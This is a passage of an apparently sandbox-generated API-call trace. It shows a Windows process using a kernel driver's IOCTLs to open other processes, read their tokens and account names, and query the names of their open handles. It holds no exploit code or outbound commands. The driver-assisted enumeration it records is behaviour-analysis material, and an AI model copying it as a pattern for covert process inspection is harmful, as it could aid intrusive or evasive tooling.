ReturnLength=0xfffff880054f8550) returned 0x0 [0074.152] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.152] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.152] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.152] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x940) returned 0xc0 [0074.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.152] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002002b30, HandleInformation=0x0) returned 0x0 [0074.152] ObOpenObjectByPointer (in: Object=0xfffffa8002002b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.152] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x12 [0074.152] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.152] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.152] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.152] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.152] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.154] CloseHandle (hObject=0xc8) returned 1 [0074.154] CloseHandle (hObject=0xc0) returned 1 [0074.154] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.154] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.154] PsAcquireProcessExitSynchronization () returned 0x0 [0074.154] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054f85d0) [0074.154] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ffd180, HandleInformation=0x0) returned 0x0 [0074.154] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.154] PsReleaseProcessExitSynchronization () returned 0x2 [0074.154] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0074.154] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039fc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039fc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.154] ObfDereferenceObject (Object=0xfffffa8001ffd180) returned 0x1 [0074.154] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.154] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.154] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0074.154] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.154] PsAcquireProcessExitSynchronization () returned 0x0 [0074.154] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054f85d0) [0074.154] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fff410, HandleInformation=0x0) returned 0x0 [0074.154] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.154] PsReleaseProcessExitSynchronization () returned 0x2 [0074.154] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0074.155] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.155] ObfDereferenceObject (Object=0xfffffa8001fff410) returned 0x1 [0074.155] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.155] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.155] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.155] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.155] PsAcquireProcessExitSynchronization () returned 0x0 [0074.155] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880054f85d0) [0074.155] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.155] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.155] PsReleaseProcessExitSynchronization () returned 0x2 [0074.155] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0074.155] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.155] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.155] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.155] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.155] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x950) returned 0xc0 [0074.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.155] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020287d0, HandleInformation=0x0) returned 0x0 [0074.155] ObOpenObjectByPointer (in: Object=0xfffffa80020287d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.155] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x12 [0074.155] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.155] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.155] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.155] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.155] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.157] CloseHandle (hObject=0xc8) returned 1 [0074.157] CloseHandle (hObject=0xc0) returned 1 [0074.157] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.157] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.157] PsAcquireProcessExitSynchronization () returned 0x0 [0074.157] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054f85d0) [0074.157] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002028070, HandleInformation=0x0) returned 0x0 [0074.157] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.157] PsReleaseProcessExitSynchronization () returned 0x2 [0074.157] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0074.157] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f90044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8001f90044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.157] ObfDereferenceObject (Object=0xfffffa8002028070) returned 0x1 [0074.157] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.157] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.157] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0074.157] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.157] PsAcquireProcessExitSynchronization () returned 0x0 [0074.157] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054f85d0) [0074.157] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800202e3a0, HandleInformation=0x0) returned 0x0 [0074.157] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.157] PsReleaseProcessExitSynchronization () returned 0x2 [0074.157] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0074.157] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003493044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003493044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.158] ObfDereferenceObject (Object=0xfffffa800202e3a0) returned 0x1 [0074.158] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.158] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.158] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.158] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.158] PsAcquireProcessExitSynchronization () returned 0x0 [0074.158] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880054f85d0) [0074.158] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.158] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.158] PsReleaseProcessExitSynchronization () returned 0x2 [0074.158] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0074.158] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800365b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800365b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.158] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.158] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.158] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.158] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x960) returned 0xc0 [0074.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.158] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002042b30, HandleInformation=0x0) returned 0x0 [0074.158] ObOpenObjectByPointer (in: Object=0xfffffa8002042b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.158] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x12 [0074.158] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.158] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.158] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.158] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.158] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.160] CloseHandle (hObject=0xc8) returned 1 [0074.160] CloseHandle (hObject=0xc0) returned 1 [0074.160] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.160] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.160] PsAcquireProcessExitSynchronization () returned 0x0 [0074.160] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054f85d0) [0074.160] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800203d8f0, HandleInformation=0x0) returned 0x0 [0074.160] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.160] PsReleaseProcessExitSynchronization () returned 0x2 [0074.160] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0074.160] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80036b4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80036b4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.160] ObfDereferenceObject (Object=0xfffffa800203d8f0) returned 0x1 [0074.160] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.160] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.160] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0074.160] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.160] PsAcquireProcessExitSynchronization () returned 0x0 [0074.160] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054f85d0) [0074.160] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002043a20, HandleInformation=0x0) returned 0x0 [0074.160] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.160] PsReleaseProcessExitSynchronization () returned 0x2 [0074.160] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0074.160] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80036c2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80036c2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.161] ObfDereferenceObject (Object=0xfffffa8002043a20) returned 0x1 [0074.161] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.161] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.161] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.161] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.161] PsAcquireProcessExitSynchronization () returned 0x0 [0074.161] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880054f85d0) [0074.161] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.161] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.161] PsReleaseProcessExitSynchronization () returned 0x2 [0074.161] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0074.161] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.161] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.161] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.161] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.161] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x970) returned 0xc0 [0074.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.161] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800205a7d0, HandleInformation=0x0) returned 0x0 [0074.161] ObOpenObjectByPointer (in: Object=0xfffffa800205a7d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.161] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x12 [0074.161] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.161] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.161] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.161] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.161] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.163] CloseHandle (hObject=0xc8) returned 1 [0074.163] CloseHandle (hObject=0xc0) returned 1 [0074.163] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.163] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.163] PsAcquireProcessExitSynchronization () returned 0x0 [0074.163] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880054f85d0) [0074.164] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002059100, HandleInformation=0x0) returned 0x0 [0074.164] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.164] PsReleaseProcessExitSynchronization () returned 0x2 [0074.164] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0074.164] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003817044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003817044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.164] ObfDereferenceObject (Object=0xfffffa8002059100) returned 0x1 [0074.164] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.164] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.164] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 